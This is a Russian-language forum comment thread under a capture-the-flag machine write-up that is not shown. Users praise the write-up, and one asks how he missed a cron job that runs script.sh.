Вообщем до этой машины я брал боксы на TryHackMe и HackMyVM, нечего подобного проходить не приходилось. Это вот совсем не тот Easy level к которому привык. Машина реально приближена к реальности, все что я учил идеально ложиться на нее. Жаль конечно что сдался рано, реально имел знания и навыки чтоб финишировать ее самостоятельно. Но пусть это будет уроком для меня)))

Вопрос
Кто опытней скажите, почему я не увидел задания cron на исполнение script.sh? Ведь все вроде переглядел, а тут бац и cron задача. Что я упускаю или чего пока не знаю?
Спасибо!!!
Классно всё расписанно :)
 
  • Нравится
Реакции: WaySunLight

LoeDifrakTion

Green Team
17.05.2020
43
40
BIT
1
Когда читаешь анализируешь свои действия на те или иные случаи. Много чего понял как применять в практике. Респект!
 
  • Нравится
Реакции: WaySunLight и Qulan

Qulan

Red Team
06.12.2020
171
512
BIT
365
Отлично написано! Неплохо идешь)
Классно всё расписанно :)
Когда читаешь анализируешь свои действия на те или иные случаи. Много чего понял как применять в практике. Респект!
Спасибо
 
  • Нравится
Реакции: WaySunLight

sproX2t

One Level
10.07.2020
1
2
BIT
1
Очень круто расписано. Все так по живому, с эмоциями, а не как обычно: "Нажми сюда, сделай это и все получится". Подведение итогов также прикольная штука, в общем респект за такие райтапы:D
 

Qulan

Red Team
06.12.2020
171
512
BIT
365
Очень круто расписано. Все так по живому, с эмоциями, а не как обычно: "Нажми сюда, сделай это и все получится". Подведение итогов также прикольная штука, в общем респект за такие райтапы:D
Рад что понравилось )
 
  • Нравится
Реакции: nks1ck

v1gman

Green Team
31.07.2020
495
523
BIT
23
Добавлю немного и своего мнения:
Райтап написан добротно, скрины имеются, а главное, что нет «нажми сюда, и тебе выдаст это», как и озвучили уже выше)
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!